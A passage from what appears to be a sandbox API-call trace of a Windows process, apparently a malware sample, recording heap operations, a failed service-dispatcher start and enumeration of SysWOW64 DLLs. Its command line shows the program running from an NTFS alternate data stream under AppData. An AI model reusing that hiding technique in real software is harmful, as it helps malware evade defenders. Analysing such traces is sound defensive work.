Flags=0x8, Size=0x80) returned 0x252e268 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e1e0) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e268) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c900) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2155058) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d278) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d288) returned 1 [0165.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.659] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0165.659] StartServiceCtrlDispatcherW (lpServiceTable=0x36f6d4*(lpServiceName="", lpServiceProc=0x90d040)) returned 0 [0165.662] GetLastError () returned 0x427 [0165.662] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" [0165.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e268 [0165.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5c) returned 0x252dd28 [0165.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e1e0 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e2f0 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e378 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e400 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e488 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e510 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e598 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e620 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e6a8 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e730 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e7b8 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2157cf8 [0165.663] GetSystemWow64DirectoryW (in: lpBuffer=0x2157cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0165.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157cf8) returned 1 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e840 [0165.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e840) returned 1 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e840 [0165.663] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x36f430, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36f430) returned 0x7f2ad0 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x252c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.664] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x252c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.665] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x252c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.666] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.666] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x252c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.666] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.666] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x252c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.667] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x252c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.667] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x252c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.667] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x252c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.668] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x252c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.668] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, 